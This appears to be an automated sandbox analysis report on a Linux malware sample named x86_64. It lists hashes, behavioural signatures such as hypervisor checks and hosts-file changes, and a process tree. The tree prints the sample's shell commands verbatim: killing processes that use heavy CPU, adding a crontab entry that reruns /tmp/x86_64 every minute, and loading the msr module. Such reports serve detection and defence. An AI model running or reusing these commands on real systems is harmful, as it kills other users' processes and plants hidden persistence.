Analysis
-
max time kernel
0s -
max time network
139s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
17-08-2022 06:24
Static task
static1
Behavioral task
behavioral1
Sample
x86_64
Resource
debian9-armhf-en-20211208
Behavioral task
behavioral2
Sample
x86_64
Resource
debian9-mipsbe-en-20211208
Behavioral task
behavioral3
Sample
x86_64
Resource
debian9-mipsel-en-20211208
Behavioral task
behavioral4
Sample
x86_64
Resource
ubuntu1804-amd64-en-20211208
General
-
Target
x86_64
-
Size
1.8MB
-
MD5
6a029df4c5e466511749a1c5321cb576
-
SHA1
074d800744815a43eac098f0c1b5c03814769bc3
-
SHA256
a4a90999ade02ca7104e2553aede3c82decbd319d67059d43be99415acb03c26
-
SHA512
0665dc76cab1c9c0055346c5d080f0caf0abfbd31bc8fab7e3497e16fcd00d2207656fa3421224114d90f8dbc4fc4ca783691c547a5fa70ec6323d522de904b3
Malware Config
Signatures
-
Attempts to identify hypervisor via CPU configuration 1 TTPs 1 IoCs
Checks CPU information for indicators that the system is a virtual machine.
Processes:
x86_64description ioc process /proc/cpuinfo /proc/cpuinfo x86_64 -
Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
Processes:
description ioc /etc/hosts /etc/hosts -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
-
Reads CPU attributes 1 TTPs 5 IoCs
Processes:
pspsx86_64psdescription ioc process /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps /sys/devices/system/cpu/online /sys/devices/system/cpu/online x86_64 /sys/devices/system/cpu/possible /sys/devices/system/cpu/possible x86_64 /sys/devices/system/cpu/online /sys/devices/system/cpu/online ps -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
x86_64description ioc process /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map x86_64 /sys/devices/system/node/online /sys/devices/system/node/online x86_64 /sys/devices/virtual/dmi/id/product_uuid /sys/devices/virtual/dmi/id/product_uuid x86_64 /sys/devices/virtual/dmi/id/board_name /sys/devices/virtual/dmi/id/board_name x86_64 /sys/bus/cpu/devices/cpu0/cache/index2/level /sys/bus/cpu/devices/cpu0/cache/index2/level x86_64 /sys/bus/cpu/devices/cpu0/cache/index3/type /sys/bus/cpu/devices/cpu0/cache/index3/type x86_64 /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition x86_64 /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map x86_64 /sys/bus/node/devices/node0/access0/initiators /sys/bus/node/devices/node0/access0/initiators x86_64 /sys/devices/virtual/dmi/id/product_name /sys/devices/virtual/dmi/id/product_name x86_64 /sys/devices/virtual/dmi/id/bios_date /sys/devices/virtual/dmi/id/bios_date x86_64 /sys/bus/cpu/devices/cpu0/cache/index3/level /sys/bus/cpu/devices/cpu0/cache/index3/level x86_64 /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets x86_64 /sys/devices/virtual/dmi/id/board_vendor /sys/devices/virtual/dmi/id/board_vendor x86_64 /sys/bus/cpu/devices/cpu0/cache/index1/level /sys/bus/cpu/devices/cpu0/cache/index1/level x86_64 /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map x86_64 /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size x86_64 /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition x86_64 /sys/devices/virtual/dmi/id/board_version /sys/devices/virtual/dmi/id/board_version x86_64 /sys/devices/virtual/dmi/id/chassis_type /sys/devices/virtual/dmi/id/chassis_type x86_64 /sys/bus/node/devices/node0/cpumap /sys/bus/node/devices/node0/cpumap x86_64 /sys/devices/virtual/dmi/id/product_serial /sys/devices/virtual/dmi/id/product_serial x86_64 /sys/devices/virtual/dmi/id/bios_version /sys/devices/virtual/dmi/id/bios_version x86_64 /sys/bus/cpu/devices/cpu0/cache/index0/size /sys/bus/cpu/devices/cpu0/cache/index0/size x86_64 /sys/bus/cpu/devices/cpu0/cache/index2/type /sys/bus/cpu/devices/cpu0/cache/index2/type x86_64 /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition x86_64 /sys/bus/cpu/devices/cpu0/cache/index1/type /sys/bus/cpu/devices/cpu0/cache/index1/type x86_64 /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map x86_64 /sys/devices/virtual/dmi/id/chassis_asset_tag /sys/devices/virtual/dmi/id/chassis_asset_tag x86_64 /sys/devices/virtual/dmi/id/bios_vendor /sys/devices/virtual/dmi/id/bios_vendor x86_64 /sys/bus/cpu/devices/cpu0/cache/index0/type /sys/bus/cpu/devices/cpu0/cache/index0/type x86_64 /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map x86_64 /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map x86_64 /sys/devices/virtual/dmi/id/chassis_version /sys/devices/virtual/dmi/id/chassis_version x86_64 /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets x86_64 /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map x86_64 /sys/bus/node/devices/node0/meminfo /sys/bus/node/devices/node0/meminfo x86_64 /sys/devices/virtual/dmi/id/product_version /sys/devices/virtual/dmi/id/product_version x86_64 /sys/devices/virtual/dmi/id/board_serial /sys/devices/virtual/dmi/id/board_serial x86_64 /sys/fs/cgroup/cpuset//cpuset.cpus /sys/fs/cgroup/cpuset//cpuset.cpus x86_64 /sys/bus/cpu/devices/cpu0/topology/thread_siblings /sys/bus/cpu/devices/cpu0/topology/thread_siblings x86_64 /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages x86_64 /sys/bus/dax/devices/ /sys/bus/dax/devices/ x86_64 /sys/devices/virtual/dmi/id/board_asset_tag /sys/devices/virtual/dmi/id/board_asset_tag x86_64 /sys/bus/cpu/devices/cpu0/cache/index0/level /sys/bus/cpu/devices/cpu0/cache/index0/level x86_64 /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size x86_64 /sys/devices/virtual/dmi/id/sys_vendor /sys/devices/virtual/dmi/id/sys_vendor x86_64 /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map x86_64 /sys/devices/virtual/dmi/id/chassis_serial /sys/devices/virtual/dmi/id/chassis_serial x86_64 /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size x86_64 /sys/bus/cpu/devices/cpu0/cache/index2/size /sys/bus/cpu/devices/cpu0/cache/index2/size x86_64 /sys/kernel/mm/hugepages /sys/kernel/mm/hugepages x86_64 /sys/bus/node/devices/node0/hugepages /sys/bus/node/devices/node0/hugepages x86_64 /sys/fs/cgroup/unified/cgroup.controllers /sys/fs/cgroup/unified/cgroup.controllers x86_64 /sys/bus/cpu/devices/cpu0/topology/core_id /sys/bus/cpu/devices/cpu0/topology/core_id x86_64 /sys/bus/cpu/devices/cpu0/topology/physical_package_id /sys/bus/cpu/devices/cpu0/topology/physical_package_id x86_64 /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map x86_64 /sys/devices/virtual/dmi/id/chassis_vendor /sys/devices/virtual/dmi/id/chassis_vendor x86_64 /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map x86_64 /sys/devices/virtual/dmi/id /sys/devices/virtual/dmi/id x86_64 /sys/fs/cgroup/cpuset//cpuset.mems /sys/fs/cgroup/cpuset//cpuset.mems x86_64 /sys/bus/cpu/devices/cpu0/topology/die_cpus /sys/bus/cpu/devices/cpu0/topology/die_cpus x86_64 -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
Processes:
pspspsx86_64description ioc process /proc/7/stat /proc/7/stat ps /proc/22/status /proc/22/status ps /proc/164/status /proc/164/status ps /proc/22/cmdline /proc/22/cmdline ps /proc/21/stat /proc/21/stat ps /proc/359/cmdline /proc/359/cmdline ps /proc/372/stat /proc/372/stat ps /proc/451/status /proc/451/status ps /proc/10/cmdline /proc/10/cmdline ps /proc/89/cmdline /proc/89/cmdline ps /proc/613/cmdline /proc/613/cmdline ps /proc/meminfo /proc/meminfo ps /proc/11/stat /proc/11/stat ps /proc/20/stat /proc/20/stat ps /proc/82/stat /proc/82/stat ps /proc/221/stat /proc/221/stat ps /proc/453/stat /proc/453/stat ps /proc/10/stat /proc/10/stat ps /proc/192/status /proc/192/status ps /proc/153/stat /proc/153/stat ps /proc/156/cmdline /proc/156/cmdline ps /proc/584/status /proc/584/status ps /proc/24/cmdline /proc/24/cmdline ps /proc/79/status /proc/79/status ps /proc/89/cmdline /proc/89/cmdline ps /proc/130/stat /proc/130/stat ps /proc/8/status /proc/8/status ps /proc/358/stat /proc/358/stat ps /proc/26/status /proc/26/status ps /proc/615/stat /proc/615/stat ps /proc/372/status /proc/372/status ps /proc/591/status /proc/591/status ps /proc/26/cmdline /proc/26/cmdline ps /proc/28/stat /proc/28/stat ps /proc/83/stat /proc/83/stat ps /proc/sys/kernel/osrelease /proc/sys/kernel/osrelease ps /proc/12/status /proc/12/status ps /proc/22/status /proc/22/status ps /proc/159/stat /proc/159/stat ps /proc/19/status /proc/19/status ps /proc/157/stat /proc/157/stat ps /proc/361/status /proc/361/status ps /proc/8/stat /proc/8/stat ps /proc/81/cmdline /proc/81/cmdline ps /proc/82/cmdline /proc/82/cmdline ps /proc/166/stat /proc/166/stat ps /proc/self/cpuset /proc/self/cpuset x86_64 /proc/163/status /proc/163/status ps /proc/5/stat /proc/5/stat ps /proc/379/cmdline /proc/379/cmdline ps /proc/23/status /proc/23/status ps /proc/169/stat /proc/169/stat ps /proc/581/stat /proc/581/stat ps /proc/4/status /proc/4/status ps /proc/24/status /proc/24/status ps /proc/617/cmdline /proc/617/cmdline ps /proc/15/stat /proc/15/stat ps /proc/11/stat /proc/11/stat ps /proc/579/cmdline /proc/579/cmdline ps /proc/82/stat /proc/82/stat ps /proc/364/stat /proc/364/stat ps /proc/616/status /proc/616/status ps /proc/285/status /proc/285/status ps /proc/self/stat /proc/self/stat ps -
Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes:
rmcrontabrmx86_64description ioc process /tmp/.cron /tmp/.cron rm /tmp/.cron /tmp/.cron crontab /tmp/.cron /tmp/.cron rm /tmp/.lock /tmp/.lock x86_64
Processes
-
/tmp/x86_64/tmp/x86_641⤵
- Attempts to identify hypervisor via CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:581 -
/bin/shsh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done"2⤵PID:582
-
/usr/bin/awkawk "/[zZ]/ && !a[\$2]++ {print \$2}"3⤵PID:584
-
/bin/psps -A "-ostat,ppid"3⤵
- Reads CPU attributes
- Reads runtime system information
PID:583 -
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- 'systemd[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- 'systemd[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"2⤵PID:586
-
/usr/bin/idid -u3⤵PID:587
-
/bin/grepgrep -v grep3⤵PID:589
-
/bin/psps aux3⤵
- Reads CPU attributes
- Reads runtime system information
PID:588 -
/bin/grepgrep -v /usr/sbin/httpd3⤵PID:591
-
/bin/grepgrep -v -- "systemd[[:space:]]*\$"3⤵PID:590
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"3⤵PID:592
-
/bin/shsh -c "dir=`pwd 2>/dev/null`;rm -rf \$dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '/tmp/x86_64' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '\$dir/'/tmp/x86_64 > /dev/null 2>&1;' >> .cron 2>/dev/null; if [ \$(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '/tmp/x86_64\$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab \$dir/.cron 2>/dev/null; fi;rm -rf \$dir/.cron 2>/dev/null"2⤵PID:594
-
/bin/rmrm -rf /tmp/.cron3⤵
- Writes file to tmp directory
PID:596 -
/bin/grepgrep -v grep3⤵PID:598
-
/usr/bin/crontabcrontab -l3⤵PID:597
-
/bin/grepgrep -v /tmp/x86_643⤵PID:599
-
/usr/bin/crontabcrontab /tmp/.cron3⤵
- Writes file to tmp directory
PID:607 -
/bin/rmrm -rf /tmp/.cron3⤵
- Writes file to tmp directory
PID:612 -
/bin/shsh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- 'systemd[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- 'systemd[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- 'systemd[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- 'systemd[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"2⤵PID:613
-
/usr/bin/idid -u3⤵PID:614
-
/usr/bin/crontabcrontab -l1⤵PID:601
-
/bin/grepgrep -v grep1⤵PID:602
-
/bin/grepgrep "/tmp/x86_64\$"1⤵PID:603
-
/usr/bin/sortsort1⤵PID:604
-
/usr/bin/wcwc -l1⤵PID:606
-
/usr/bin/uniquniq1⤵PID:605
-
/bin/psps aux1⤵
- Reads CPU attributes
- Reads runtime system information
PID:616
-
/bin/grepgrep -v grep1⤵PID:617
-
/bin/grepgrep -- "systemd[[:space:]]*\$"1⤵PID:618
-
/usr/bin/awkawk "{if(\$3>30.0) print \$2}"1⤵PID:619
-
/usr/bin/wcwc -l1⤵PID:620
-
/bin/shsh -c "/sbin/modprobe msr > /dev/null 2>&1"1⤵PID:627
-
/sbin/modprobe/sbin/modprobe msr2⤵PID:628